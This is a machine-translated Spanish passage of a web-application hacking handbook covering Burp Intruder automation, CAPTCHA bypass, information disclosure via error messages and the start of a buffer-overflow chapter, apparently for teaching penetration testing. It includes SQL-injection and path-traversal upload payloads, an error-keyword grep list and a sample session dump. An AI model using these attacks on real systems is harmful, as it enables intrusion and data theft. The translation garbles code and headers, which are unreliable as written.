secuestrar las sesiones de otros usuarios de la aplicación. Sin embargo, eche un vistazo más de
cerca a la tabla de resultados. La mayoría de las respuestas HTTP 200 tienen aproximadamente
la misma longitud de respuesta, porque la página de inicio que se presenta a los diferentes
usuarios es más o menos la misma. Sin embargo, dos de las respuestas son mucho más largas,
lo que indica que se devolvió una página de inicio diferente.
Puede hacer doble clic en un elemento de resultado en Intruder para mostrar la respuesta del
servidor en su totalidad, ya sea como HTTP sin procesar o como HTML. Hacer esto revela que las
páginas de inicio más largas contienen más opciones de menú y detalles diferentes que su página
de inicio. Parece que estas dos sesiones secuestradas pertenecen a usuarios más privilegiados.
¡INTENTALO!
http://mdsec.net/auth/502/
Machine Translated by Google
https://mdsec.net/auth/502/ShowPage.ashx?pageid=32010039
¡INTENTALO!
http://mdsec.net/auth/502/
Machine Translated by Google
Figura 14-7: Recorriendo los valores del índice de función y extrayendo el título
de cada página resultante
Además de explotar los errores ya identificados, debe, por supuesto, sondear la aplicación
de destino en busca de vulnerabilidades comunes. Para garantizar una cobertura decente,
debe probar cada parámetro y solicitud, comenzando desde la solicitud de inicio de sesión
en adelante.
Para realizar una prueba rápida de fuzz de una solicitud determinada, debe establecer posiciones de
carga útil en todos los parámetros de la solicitud. Puede hacer esto simplemente haciendo clic en el botón
automático en la pestaña de posiciones, como se muestra en la Figura 14-8.
Luego, debe configurar un conjunto de cadenas de ataque para usar como cargas útiles y algunos
mensajes de error comunes para buscar respuestas. Intruder contiene conjuntos integrados de cadenas
para ambos usos.
Al igual que con el ataque de fuzzing realizado con JAttack, debe revisar manualmente la tabla de
resultados para identificar cualquier anomalía que merezca una mayor investigación , como se muestra en
la Figura 14-9. Como antes, puede hacer clic en los encabezados de las columnas para ordenar las
respuestas de varias maneras para ayudar a identificar casos interesantes.
Machine Translated by Google
Figura 14-8: Configuración de Burp Intruder para fuzzear una solicitud de inicio de sesión
Desde un vistazo inicial a los resultados, parece que la aplicación es vulnerable a la inyección SQL. En
ambas posiciones de carga útil, cuando se envía una comilla simple , la aplicación devuelve una respuesta
diferente con un mensaje que contiene las comillas y la sintaxis de las cadenas . Este comportamiento
definitivamente justifica una investigación manual para confirmar y explotar el error.
¡INTENTALO!
http://mdsec.net/auth/502/
SUGERENCIA Puede hacer clic con el botón derecho en cualquier resultado que parezca
interesante y enviar la respuesta a la herramienta Burp Repeater. Esto le permite modificar
la solicitud manualmente y volver a emitirla varias veces para probar el manejo de diferentes
cargas útiles por parte de la aplicación, sondear omisiones de filtros o entregar exploits reales.
Barreras a la automatización
En muchas aplicaciones, las técnicas descritas hasta ahora en este capítulo se pueden aplicar sin ningún
problema. En otros casos, sin embargo, puede encontrar varios obstáculos que le impidan realizar ataques
automatizados personalizados de forma sencilla.
n Mecanismos de manejo de sesiones que terminan las sesiones de manera defensiva en respuesta a
solicitudes inesperadas, emplean valores de parámetros efímeros como tokens anti-CSRF que
cambian por solicitud (consulte el Capítulo 13) o involucran procesos de varias etapas.
n Controles CAPTCHA diseñados para evitar que las herramientas automatizadas accedan a una
función de aplicación en particular, como una función para registrar nuevas cuentas de usuario.
Examinaremos cada una de estas situaciones y describiremos formas en las que puede eludir las
barreras a la automatización, ya sea refinando sus herramientas automatizadas o encontrando defectos en
las defensas de la aplicación.
n Mientras está probando una solicitud, la aplicación finaliza la sesión que se está
utilizando para la prueba, ya sea a la defensiva o por otros motivos, y el resto del
ejercicio de prueba es ineficaz. n Una función de aplicación emplea un token
cambiante que se debe proporcionar con cada solicitud (por ejemplo, para evitar
ataques de falsificación de solicitudes). n La solicitud que se está probando
aparece dentro de un proceso de varias etapas. La solicitud se maneja correctamente
solo si primero se ha realizado una serie de otras solicitudes para que la aplicación
esté en un estado adecuado.
Los obstáculos de este tipo siempre se pueden sortear, en principio, refinando sus técnicas de
automatización para que funcionen con cualquier mecanismo que esté usando la aplicación. Si
está escribiendo su propio código de prueba a lo largo de las líneas de JAttack, puede implementar
directamente el soporte para el manejo de tokens específicos o mecanismos de varias etapas. Sin
embargo, este enfoque puede ser complejo y no se adapta muy bien a aplicaciones grandes. En la
práctica, la necesidad de escribir un nuevo código personalizado para hacer frente a cada nueva
instancia de un problema puede presentar una barrera significativa para el uso de la automatización,
y es posible que se encuentre volviendo a técnicas manuales más lentas.
n Cookie jar n
Solicitar macros n
Reglas de manejo de sesiones
Describiremos brevemente cómo se pueden combinar estas características para superar las
barreras a la automatización y permitirle continuar con las pruebas en las diversas situaciones
descritas. Hay disponible ayuda más detallada en la documentación en línea de Burp Suite .
Burp Suite mantiene su propio contenedor de cookies, que rastrea las cookies de aplicaciones
utilizadas por su navegador y por las propias herramientas de Burp. Puede configurar cómo Burp
actualiza automáticamente el contenedor de cookies y también puede ver y editar su contenido
directamente, como se muestra en la Figura 14-10.
Machine Translated by Google
En sí mismo, el contenedor de cookies en realidad no hace nada, pero los valores clave que
rastrea se pueden usar dentro de los otros componentes del soporte de manejo de sesiones de Burp.
Macros de solicitud
Una macro es una secuencia predefinida de una o más solicitudes. Las macros se pueden utilizar
para realizar diversas tareas relacionadas con la sesión, incluidas las siguientes:
n Obtener una página de la aplicación (como la página de inicio del usuario) para
comprobar que la sesión actual sigue siendo válida
Las macros se graban utilizando su navegador. Al defi nir una macro, Burp muestra una
vista del historial de Proxy, desde la cual puede seleccionar las solicitudes que se utilizarán
para la macro. Puede seleccionar entre solicitudes realizadas previamente o grabar la macro
de nuevo y seleccionar los nuevos elementos del historial, como se muestra en la Figura 14-11.
Para cada elemento de la macro, se pueden configurar los siguientes ajustes, como se muestra
en la Figura 14-12:
Figura 14-12: Configuración del manejo de cookies y parámetros para un elemento de macro
Machine Translated by Google
El componente clave del soporte de manejo de sesiones de Burp Suite es la facilidad para defi nir reglas de
manejo de sesiones, que utilizan el contenedor de cookies y solicitan macros para lidiar con barreras específi
cas a la automatización.
Cada regla comprende un ámbito (a qué se aplica la regla) y acciones (lo que hace la regla). Para cada
solicitud saliente que hace Burp, determina cuáles de las reglas definidas están dentro del alcance de la
solicitud y realiza todas las acciones de esas reglas en orden.
El alcance de cada regla se puede defi nir en función de cualquiera o todos los siguientes
características de la solicitud que se está procesando, como se muestra en la Figura 14-13:
solicitud
Cada regla puede realizar una o más acciones, como se muestra en la Figura 14-14, incluyendo
ing lo siguiente:
Al crear múltiples reglas con diferentes alcances y acciones, puede defi nir una jerarquía
de comportamiento que Burp aplicará a diferentes URL y parámetros.
Por ejemplo, suponga que está probando una aplicación que termina su sesión con
frecuencia en respuesta a solicitudes inesperadas y también hace un uso liberal de un
token anti-CSRF llamado __csrftoken. En esta situación, podría definir las siguientes
reglas, como se muestra en la Figura 14-15:
Figura 14-15: Un conjunto de reglas de manejo de sesión para manejar la terminación de sesión y
los tokens anti-CSRF utilizados por una aplicación
Machine Translated by Google
Figura 14-16: Rastreador de manejo de sesión de Burp, que le permite monitorear y depurar sus
reglas de manejo de sesión
Una vez configuradas y probadas las reglas y macros que necesita para trabajar
con la aplicación a la que se dirige, puede continuar con las pruebas manuales y
automáticas de la forma habitual, como si no existieran los obstáculos para las pruebas.
Machine Translated by Google
Controles CAPTCHA
Los controles CAPTCHA están diseñados para evitar que ciertas funciones de la aplicación
se utilicen de forma automatizada. Se emplean más comúnmente en funciones para registrar
cuentas de correo electrónico y publicar comentarios en blogs para tratar de reducir el spam.
CAPTCHA es un acrónimo de la prueba de Turing pública completamente automatizada para
diferenciar a las computadoras y los humanos. Estas pruebas normalmente toman la forma de un
rompecabezas que contiene una palabra distorsionada, que el usuario debe leer e ingresar en un
campo en el formulario que se envía. Los rompecabezas también pueden implicar el reconocimiento
de animales y plantas particulares, la orientación de imágenes, etc.
Los acertijos de CAPTCHA están destinados a ser fáciles de resolver para un ser humano pero
difíciles para una computadora. Debido al valor monetario para los spammers de eludir estos
controles, se ha producido una carrera armamentista en la que los acertijos típicos de CAPTCHA
se han vuelto cada vez más difíciles de resolver para un ser humano, como se muestra en la
Figura 14-17. A medida que convergen las capacidades de resolución de CAPTCHA de los
humanos y las computadoras, es probable que estos acertijos se vuelvan cada vez más ineficaces
como defensa contra el spam, y pueden ser abandonados. También presentan problemas de
accesibilidad que actualmente no están completamente resueltos.
Los acertijos de CAPTCHA se pueden eludir de varias maneras, solo algunas de las cuales
son aplicables en el contexto de la realización de pruebas de seguridad.
n La imagen del rompecabezas se carga a través de una URL que incluye la solución como
parámetro, o el nombre de la imagen se establece en la solución CAPTCHA.
oculto. n La solución del rompecabezas aparece dentro de un comentario HTML u otra ubicación
para fines de depuración.
¡INTENTALO!
http://mdsec.net/feedback/12/
http://mdsec.net/feedback/24/
http://mdsec.net/feedback/31/
¡INTENTALO!
http://mdsec.net/feedback/39/
NOTA Algunas aplicaciones tienen una ruta de código deliberada que elude
el CAPTCHA para permitir el uso de ciertos procesos automatizados
autorizados. En estos casos, a menudo es posible omitir el CAPTCHA
simplemente al no proporcionar el nombre del parámetro relevante.
En principio, la mayoría de los tipos de acertijos de CAPTCHA se pueden resolver con una
computadora y, en la práctica, muchos algoritmos de acertijos de alto perfil han sido derrotados de esta manera.
Para los acertijos estándar que involucran una palabra distorsionada, resolver el acertijo implica
los siguientes pasos:
Con la tecnología actual, las computadoras son bastante efectivas para eliminar el
ruido y reconocer las letras que se han segmentado correctamente. Los desafíos más
significativos surgen con la segmentación de la imagen en letras, particularmente donde
las letras se superponen y están muy distorsionadas.
Para acertijos simples en los que la segmentación en letras es trivial, es probable que se pueda
usar algún código de cosecha propia para eliminar el ruido de la imagen y pasar el texto a una
biblioteca OCR (reconocimiento óptico de caracteres) existente para reconocer las letras. Para
acertijos más complejos en los que la segmentación es un desafío serio,
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/feedback/8/
Los delincuentes que necesitan resolver un gran número de acertijos de CAPTCHA a veces emplean
técnicas que no son aplicables en el contexto de las pruebas de seguridad de aplicaciones web:
n Se puede usar un sitio web aparentemente benigno para inducir a los proxies CAPTCHA humanos
a resolver acertijos que pasan desde la aplicación a la que se dirigen. Por lo general, el atacante
ofrece el incentivo de un premio de competencia o acceso gratuito a pornografía para atraer a los
usuarios. Cuando un usuario completa el formulario de registro, se le presenta un rompecabezas
CAPTCHA que se ha obtenido en tiempo real desde la aplicación de destino. Cuando el usuario
resuelve el rompecabezas, su solución se transmite a la aplicación de destino.
Resumen
Cuando está atacando una aplicación web, la mayoría de las tareas necesarias deben adaptarse
al comportamiento de esa aplicación y los métodos mediante los cuales le permite interactuar con
ella y manipularla. Debido a esto, a menudo se encontrará trabajando manualmente, enviando
solicitudes diseñadas individualmente y revisando las respuestas de la aplicación.
Las técnicas descritas en este capítulo son conceptualmente intuitivas. Implican aprovechar la
automatización para hacer que estas tareas personalizadas sean más fáciles, rápidas y efectivas.
Es posible automatizar prácticamente cualquier procedimiento manual que desee realizar utilizando
la potencia y confiabilidad de su propia computadora para atacar los defectos y puntos débiles de
su objetivo.
En algunos casos, existen obstáculos que le impiden aplicar directamente técnicas
automatizadas. Sin embargo, en la mayoría de los casos, estos pueden superarse refinando sus
herramientas automatizadas o encontrando una debilidad en las defensas de la aplicación.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
2. Para cada una de las siguientes categorías, identifique una cadena fuzz que a menudo se
pueda usar para identificarla:
3. Cuando realiza una prueba de fuzzing de una solicitud que contiene varios parámetros
diferentes, ¿por qué es importante realizar solicitudes dirigidas a cada parámetro por turno
y dejar los demás sin modificar?
Machine Translated by Google
4. Está formulando un ataque automatizado para aplicar fuerza bruta a una función de
inicio de sesión para descubrir credenciales de cuenta adicionales. Encuentra que la
aplicación devuelve una redirección HTTP a la misma URL, independientemente de si
envía credenciales válidas o no válidas. En esta situación, ¿cuál es el medio más
probable que puede utilizar para detectar aciertos?
5. Cuando utiliza un ataque automatizado para recolectar datos desde dentro de la
aplicación, a menudo encontrará que la información que le interesa está precedida por
una cadena estática que le permite capturar fácilmente los datos que la siguen. Por
ejemplo:
En otras ocasiones, puede encontrar que no es así y que los datos que preceden a la
información que necesita son más variables. En esta situación, ¿cómo puede diseñar
un ataque automatizado que aún satisfaga sus necesidades?
Machine Translated by Google
CAPÍTULO R
15
Explotación de la información
Divulgar
El Capítulo 4 describió varias técnicas que puede usar para mapear una aplicación
de destino y obtener una comprensión inicial de cómo funciona. Esa metodología
implicó interactuar con la aplicación en formas en gran medida benignas para
catalogar su contenido y funcionalidad, determinar las tecnologías en uso e identificar
la superficie de ataque clave.
Este capítulo describe las formas en que puede extraer más información de una
aplicación durante un ataque real. Esto implica principalmente interactuar con la
aplicación de formas inesperadas y maliciosas, y explotar anoma radica en el
comportamiento de la aplicación para extraer información valiosa para usted.
Si tiene éxito, un ataque de este tipo puede permitirle recuperar datos confidenciales,
como credenciales de usuario, obtener una comprensión más profunda de una condición
de error para ajustar su ataque, descubrir más detalles sobre las tecnologías en uso y
mapear la estructura interna de la aplicación y funcionalidad.
615
Machine Translated by Google
Este mensaje indica que el valor que ha modificado probablemente se está asignando a
una variable numérica y ha proporcionado una entrada que no se puede asignar porque
contiene caracteres no numéricos. En esta situación, es muy probable que no se gane nada
enviando cadenas de ataque no numéricas como este parámetro. Entonces, para muchas
categorías de errores, es mejor apuntar a otros parámetros.
Una forma diferente en la que este tipo de mensaje de error puede ayudarlo es brindarle
una mejor comprensión de la lógica que se implementa dentro de la aplicación del lado del
servidor. Debido a que el mensaje revela el número de línea donde ocurrió el error, es
posible que pueda confirmar si dos solicitudes diferentes con formato incorrecto están
provocando el mismo error o errores diferentes. También puede ser capaz
Machine Translated by Google
Rastros de pila
La mayoría de las aplicaciones web están escritas en lenguajes que son más complejos
que los scripts simples, pero que aun así se ejecutan en un entorno de ejecución
administrado, como Java, C# o Visual Basic .NET. Cuando se produce un error no
controlado en estos idiomas, es común ver que se devuelven seguimientos de pila completos al navegador.
Un seguimiento de pila es un mensaje de error estructurado que comienza con una
descripción del error real. A esto le sigue una serie de líneas que describen el estado de
la pila de llamadas de ejecución cuando se produjo el error. La línea superior de la pila de
llamadas muestra la función que generó el error, la siguiente línea muestra la función que
invocó la función anterior y así sucesivamente hasta que se agote la jerarquía de llamadas
a funciones.
El siguiente es un ejemplo de un seguimiento de pila generado por una aplicación
ASP.NET:
[HttpException (0x80004005): no se puede usar un encabezado .. para salir por encima del directorio superior.]
Este tipo de mensaje de error proporciona una gran cantidad de información útil.
que pueden ayudarlo a afinar su ataque contra la aplicación:
n A menudo describe la razón precisa por la que ocurrió un error. Esto puede permitirle
ajustar su entrada para eludir la condición de error y avanzar en su ataque. n
Normalmente, la pila de llamadas hace referencia a una serie de componentes de
código de terceros y bibliotecas que se utilizan en la aplicación. Puede revisar la
documentación de estos componentes para comprender su comportamiento
previsto y suposiciones. También puedes crear tu propio local.
Machine Translated by Google
n La pila de llamadas incluye los nombres de los componentes del código propietario que se
utilizan para procesar la solicitud. El esquema de nombres para estos y las interrelaciones
entre ellos pueden permitirle inferir detalles sobre la estructura interna y la funcionalidad
de la aplicación.
n El seguimiento de la pila suele incluir números de línea. Al igual que con los mensajes
de error de secuencia de comandos simples descritos anteriormente, estos pueden
permitirle sondear y comprender la lógica interna de los componentes individuales
de la aplicación.
-------------------------------------------
* * * SESIÓN * * *
-------------------------------------------
i5agor2n2pw3gp551pszsb55
SessionUser.Sessions App.FEStructure.Sessions
SesiónUsuario.Auth 1
SessionUser.BranchID 103
SessionUser.CompanyID 76
SessionUser.BrokerRef RRadv0
SesiónUsuario.UserID 229
SesiónUsuario.Entrenamiento 0
SessionUser.NetworkID 11
SessionUser.BrandingPath FE
URL de inicio de sesión /Predeterminado/fedefault.aspx
URL de retorno ../predeterminado/fedefault.aspx
SesiónUsuario.Clave f7e50aef8fadd30f31f3aea104cef26ed2ce2be50073c
SesiónCliente.ID 306
SesiónCliente.ReviewID 245
UPriv.2100
Machine Translated by Google
SessionUser.NetworkLevelUser 0
UPriv.2200
SessionUser.BranchLevelUser 0
SessionDatabase fd219.prod.wahh-bank.com
n Valores de variables de sesión clave que se pueden manipular a través de la entrada del
los datos transmitidos a través del cliente (consulte el Capítulo 5) Información de depuración
para las excepciones que surgen en los componentes del código nativo, incluidos los valores
de los registros de la CPU, el contenido de la pila y una lista de las DLL cargadas y sus
direcciones base (consulte el Capítulo 16)
Cuando este tipo de funcionalidad de informe de errores está presente en el código de producción
en vivo, puede significar una debilidad crítica en la seguridad de la aplicación. Debe revisarlo
detenidamente para identificar los elementos que se pueden usar para avanzar aún más en su ataque
y las formas en que puede proporcionar información manipulada para manipular el estado de la
aplicación y controlar la información recuperada.
Los mensajes de error informativos a menudo no los devuelve la aplicación en sí, sino algún componente
de back-end, como una base de datos, un servidor de correo o un servidor SOAP. Si se produce un
error completamente no controlado, la aplicación normalmente responde con un código de estado HTTP
500 y el cuerpo de la respuesta puede contener más información sobre el error. En otros casos, la
aplicación puede manejar el error correctamente y devolver un mensaje personalizado al usuario, que
a veces incluye información de error generada por el componente de back-end. En algunas situaciones,
la divulgación de información puede utilizarse como conducto para un ataque. La información divulgada
por una aplicación en un mensaje de depuración o una excepción a menudo no es intencional y , como
resultado, los procedimientos de seguridad de la organización pueden pasar por alto por completo la
existencia de la divulgación.
El error devuelto puede habilitar una variedad de ataques adicionales, como se describe en el
siguientes secciones.
información útil. Por ejemplo, a menudo revelan la consulta que generó el error, lo que le permite
afinar un ataque de inyección SQL:
No se pudo recuperar la fila con la instrucción: SELECCIONE object_data DESDE deftr.tblobject DONDE object_id =
'FDJE00012' Y project_id = 'FOO'
y 1=2--'
Consulte el Capítulo 9 para obtener una metodología detallada que describe cómo desarrollar una base de datos.
ataques y extraer información basada en mensajes de error.
mensajes de error Como se describe en el Capítulo 12, protegerse contra las secuencias de comandos entre
sitios es una tarea ardua que requiere la identificación de cada ubicación de salida de los datos proporcionados por el usuario.
Aunque la mayoría de los marcos codifican automáticamente los datos en HTML cuando
informan errores, esto no es universal. Los mensajes de error pueden aparecer en varios
lugares, a menudo inusuales, dentro de una respuesta HTTP. En la llamada
HttpServletResponse .sendError() utilizada por Tomcat, los datos de error también forman
parte del encabezado de respuesta:
Un atacante que tenga control sobre la cadena de entrada Doc10083011 podría proporcionar
caracteres de retorno de carro y realizar un ataque de inyección de encabezado HTTP o un
ataque de secuencias de comandos entre sitios dentro de la respuesta HTTP. Más detalles se
pueden encontrar aquí:
http://www.securityfocus.com/archive/1/495021/100/0/threaded
Los mensajes de error personalizados con frecuencia están destinados a un destino que no
es HTML , como una consola, pero se informan erróneamente al usuario en una respuesta HTTP.
En estas situaciones, las secuencias de comandos entre sitios suelen ser fácilmente explotables.
valor, por lo que cualquier "nombre de archivo" encriptado podría proporcionarse al enlace de descarga,
lo que generaría un error.
En estos casos, la divulgación de información resultó del abuso de una retroalimentación
deliberada. También es posible que la divulgación de información sea más accidental si los
parámetros se descifran y luego se usan en varias funciones, cualquiera de las cuales puede
registrar datos o generar mensajes de error. Un ejemplo encontrado por los autores fue una
aplicación de flujo de trabajo compleja que hacía uso de parámetros cifrados transmitidos a
través del cliente. Al intercambiar los valores predeterminados utilizados para dbid y group
phome , la aplicación respondió con un error:
java.sql.SQLException: el oyente rechazó la conexión con el siguiente error: ORA-12505, TNS:el oyente no
conoce actualmente el SID proporcionado en el descriptor de conexión El descriptor de conexión utilizado por
el cliente fue: 172.16.214.154:1521:docs/londonoffice /2010/general
Esto proporcionó una visión considerable. Específicamente, dbid era en realidad un SID
encriptado para una conexión a una base de datos Oracle (el descriptor de conexión toma la
forma Servidor:Puerto:SID), y grouphome era una ruta de archivo encriptada.
En un ataque análogo a muchos otros ataques de divulgación de información, el
conocimiento de la ruta del archivo proporcionó la información necesaria para realizar un
ataque de manipulación de la ruta del archivo. Proporcionando exactamente tres caracteres
transversales de ruta en un nombre de archivo y navegando por una estructura de directorio
similar, fue posible cargar archivos que contenían scripts maliciosos directamente en el espacio
de trabajo de otro grupo:
--------7db3d439b04c0
Contenido-Disposición: formulario-datos; nombre = "MAX_FILE_SIZE"
100000
--------7db3d439b04c0
Contenido-Disposición: formulario-datos; nombre=”archivo cargado”; nombre de archivo =”../../../ newportoffice/2010/general/
xss.html”
Tipo de contenido: texto/html
<html><cuerpo><script>...
...
Machine Translated by Google
PASOS DE HACK
2. Tenga en cuenta que la información de error que se devuelve dentro del servidor
Es posible que la respuesta no se muestre en la pantalla dentro del navegador. Una
forma eficiente de identificar muchas condiciones de error es buscar en cada respuesta
sin procesar palabras clave que a menudo se encuentran en los mensajes de error. Por ejemplo:
n error
n excepción n
ilegal
no válido
fallar _
n pila
n acceso
n directorio
n archivo
n no encontrado
n varchar
n ODBC
n SQL
n SELECCIONAR
4. Puede usar la función Grep de Burp Intruder para identificar rápidamente cualquier
ocurrencias de palabras clave interesantes en cualquiera de las respuestas
generadas por un ataque dado (ver Capítulo 14). Cuando se encuentren
coincidencias, revise las respuestas relevantes manualmente para determinar si
se ha devuelto alguna información de error útil.
PASOS DE HACK
INTENTALO
http://mdsec.net/libreta de direcciones/32
Una forma diferente en la que se puede utilizar este tipo de técnica es cuando un error
de aplicación genera un seguimiento de pila que contiene una descripción del error, y
puede diseñar una situación en la que se incorpore información interesante en la descripción
del error.
Algunas bases de datos ofrecen la posibilidad de crear funciones definidas por el usuario
escritas en Java. Al explotar una falla de inyección de SQL, puede crear su propia función
para realizar tareas arbitrarias. Si la aplicación devuelve mensajes de error al navegador,
desde dentro de su función puede generar una excepción de Java que contenga datos
arbitrarios que necesita recuperar. Por ejemplo, el siguiente código ejecuta el comando del
sistema operativo ls y luego genera una excepción que contiene el resultado del comando.
Esto devuelve un seguimiento de la pila al navegador, cuya primera línea contiene una lista
de directorios:
}
Machine Translated by Google
captura (Excepción e)
{
Estos son algunos ejemplos de información potencialmente confidencial que las aplicaciones suelen
publicar para los usuarios:
válidos n Detalles del perfil de usuario, incluidos roles y privilegios de usuario, fecha del último inicio de sesión,
y estado de la cuenta
n Archivos de registro que contienen información como nombres de usuario, direcciones URL,
acciones realizadas , tokens de sesión y consultas de bases de datos n Detalles de la
aplicación en el código fuente HTML del lado del cliente, como enlaces comentados o campos de
formulario y comentarios sobre errores
PASOS DE HACK
3. Si identifica algún medio para extraer información confidencial, utilice las técnicas
descritas en el Capítulo 14 para automatizar el proceso.
Machine Translated by Google
Uso de la inferencia
En algunas situaciones, es posible que una aplicación no le divulgue ningún dato directamente,
pero puede comportarse de manera que le permita inferir información útil de manera confiable.
Ya hemos encontrado muchos casos de este fenómeno en el curso del examen de otras
categorías de vulnerabilidad común. Por ejemplo:
n Una función de registro que le permite enumerar los nombres de usuario registrados
sobre la base de un mensaje de error cuando se elige un nombre de usuario existente
(consulte el Capítulo 6). n Un motor de búsqueda que le permite inferir el contenido de
los documentos indexados que no está autorizado a ver directamente (consulte el Capítulo
11).
n Una vulnerabilidad de inyección SQL ciega en la que puede alterar el comportamiento
de la aplicación agregando una condición binaria a una consulta existente, lo que le
permite extraer información bit por bit (consulte el Capítulo 9).
n El ataque “oráculo de relleno” en .NET, donde un atacante puede descifrar cualquier
cadena enviando una serie de solicitudes al servidor y observando cuáles resultan en
un error durante el descifrado (consulte el Capítulo 18).
Otra forma en que las diferencias sutiles en el comportamiento de una aplicación pueden
revelar información ocurre cuando diferentes operaciones toman diferentes períodos de tiempo
para realizarse, dependiendo de algún hecho que sea de interés para un atacante.
Esta divergencia puede surgir por varias razones:
n Algunas funciones de la aplicación pueden realizar una acción en función de la entrada del
usuario que agota el tiempo de espera si un elemento de los datos enviados no es válido.
Por ejemplo, una aplicación puede usar una cookie para almacenar la dirección de un
host ubicado detrás de un balanceador de carga frontal. Un atacante puede manipular
esta dirección para buscar servidores web dentro de la red interna de la organización. Si
se proporciona la dirección de un servidor real que no forma parte de la infraestructura de
la aplicación, la aplicación puede devolver inmediatamente un error. Si se proporciona una
dirección inexistente, es posible que la aplicación agote el tiempo de espera para intentar
comunicarse con esta dirección antes de devolver el mismo error genérico. Puede usar
los temporizadores de respuesta dentro de la tabla de resultados de Burp Intruder para
facilitar esta prueba. Tenga en cuenta que estas columnas están ocultas de forma
predeterminada, pero se pueden mostrar a través del menú Columnas.
PASOS DE HACK
Aunque puede que no sea factible o deseable evitar la divulgación de absolutamente cualquier
información que un atacante pueda encontrar útil, se pueden tomar varias medidas relativamente
sencillas para reducir la fuga de información a un nivel mínimo.
Machine Translated by Google
mínimo y para retener los datos más confidenciales que pueden socavar gravemente la
seguridad de una aplicación si se divulgan a un atacante.
La mayoría de las plataformas de aplicaciones y los servidores web se pueden configurar para enmascarar el error.
n En Microsoft IIS, puede especificar páginas de error personalizadas para diferentes códigos de
estado HTTP utilizando la pestaña Errores personalizados en la pestaña Propiedades de un sitio web.
Se puede configurar una página personalizada diferente para cada código de estado y por
directorio si es necesario.
Resumen
La fuga de información innecesaria frecuentemente no presenta ningún tipo de defecto
significativo en la seguridad de una aplicación. Incluso los seguimientos de pila muy detallados
y otros mensajes de depuración a veces pueden proporcionarle poca influencia para intentar
atacar la aplicación.
En otros casos, sin embargo, puede descubrir fuentes de información que son de gran valor
para desarrollar su ataque. Por ejemplo, puede encontrar listas de nombres de usuario, las
versiones precisas de los componentes de software o la estructura interna y la funcionalidad de
la lógica de la aplicación del lado del servidor.
Debido a esta posibilidad, cualquier ataque grave a una aplicación debe incluir un examen
forense tanto de la aplicación en sí como de los recursos disponibles públicamente para que
pueda recopilar cualquier información que pueda ser útil para formular sus ataques contra ella.
En algunas ocasiones, la información recopilada de esta manera puede proporcionar la base
para un compromiso completo de la aplicación que la reveló.
Machine Translated by Google
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
https://wahh-app.com/list.aspx?artist=foo'+have+1%3d1--
3. Mientras mapea una aplicación, descubre un directorio oculto en el servidor que tiene
habilitada la lista de directorios y parece contener varios scripts antiguos. Solicitar uno de
estos scripts devuelve el siguiente mensaje de error:
Solicitud de datos:
Agente de usuario/navegador: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 2.0.50727; FDM; InfoPath.1; .NET CLR 1.1.4322)
Método de solicitud: OBTENER
Dirección remota: 192.168.201.19
Puerto Remoto: 57961
Página de referencia: http://wahh-app.com/cgi-bin/cgiwrap/fodd
https://wahh-app.com/agents/checkcfg.php?name=admin&id=13&log=1
¿Qué causó este mensaje de error y qué vulnerabilidades debe investigar como
resultado?
CAPÍTULO R
dieciséis
atacando nativo
Aplicaciones compiladas
633
Machine Translated by Google
datos proporcionados por el usuario procesados por la aplicación, incluidos los nombres y
valores de cada parámetro, cookie, encabezado de solicitud y otros datos.
Este capítulo cubre tres categorías principales de vulnerabilidades de software clásicas:
desbordamientos de búfer, vulnerabilidades de enteros y errores de cadenas de formato. En
cada caso, describiremos algunas vulnerabilidades comunes y luego describiremos los pasos
prácticos que puede seguir al buscar estos errores dentro de una aplicación web. Este tema
es enorme y se extiende mucho más allá del alcance de un libro sobre piratería de aplicaciones
web. Para obtener más información sobre las vulnerabilidades del software nativo y cómo
encontrarlas, recomendamos los siguientes libros:
n The Shellcoder's Handbook, 2.ª edición, por Chris Anley, John Heasman,
Félix Linder y Gerardo Richarte (Wiley, 2007)
n El arte de la evaluación de la seguridad del software por Mark Dowd, John McDonald,
y Justin Schuh (Addison-Wesley, 2006)
n Grey Hat Hacking, 2.ª edición, de Shon Harris, Allen Harper, Chris Eagle,
y Jonathan Ness (McGraw-Hill Osborne, 2008)
Las vulnerabilidades de desbordamiento de búfer ocurren cuando una aplicación copia datos
controlables por el usuario en un búfer de memoria que no es lo suficientemente grande para
acomodarlos. El búfer de destino se desborda, lo que da como resultado que la memoria
adyacente se sobrescriba con los datos del usuario. Dependiendo de la naturaleza de la
vulnerabilidad, un atacante puede explotarla para ejecutar código arbitrario en el servidor o
realizar otras acciones no autorizadas. Las vulnerabilidades de desbordamiento de búfer han
prevalecido enormemente en el software nativo a lo largo de los años y han sido ampliamente
consideradas como el enemigo público número uno que los desarrolladores de dicho software deben evitar.
Desbordamientos de pila
Los desbordamientos de búfer suelen surgir cuando una aplicación utiliza una operación de
copia ilimitada (como strcpy en C) para copiar un búfer de tamaño variable en un búfer de
tamaño fijo sin verificar que el búfer de tamaño fijo sea lo suficientemente grande. Por ejemplo,
Machine Translated by Google
la siguiente función copia la cadena del nombre de usuario en un búfer de tamaño fijo asignado
en la pila:
Desbordamientos de montón
bloques de montón. Para hacer esto, necesita actualizar el puntero de vínculo posterior del
siguiente bloque de almacenamiento dinámico y actualizar el puntero de vínculo directo del
bloque de almacenamiento dinámico anterior para que estos dos elementos en la lista vinculada
se apunten entre sí. Para ello, el administrador del montón utiliza los valores de la estructura de
control sobrescrita. Específicamente, para actualizar el puntero de vínculo posterior del siguiente
bloque, el administrador del montón elimina la referencia del puntero de vínculo directo tomado
de la estructura de control sobrescrita y escribe en la estructura en esta dirección el valor del
puntero de vínculo posterior tomado de la estructura de control sobrescrita. En otras palabras,
escribe un valor controlable por el usuario en una dirección controlable por el usuario. Si un
atacante ha elaborado correctamente sus datos de desbordamiento , puede sobrescribir
cualquier puntero en la memoria con un valor de su elección , con el objetivo de tomar el control
de la ruta de ejecución y, por lo tanto, ejecutar código arbitrario. Los objetivos típicos para la
sobrescritura de puntero arbitrario son el valor de un puntero de función que la aplicación
llamará más tarde y la dirección de un controlador de excepciones que se invocará la próxima vez que ocurra una excepció
El código copia hasta 32 bytes y luego agrega el terminador nulo. Por lo tanto, si el
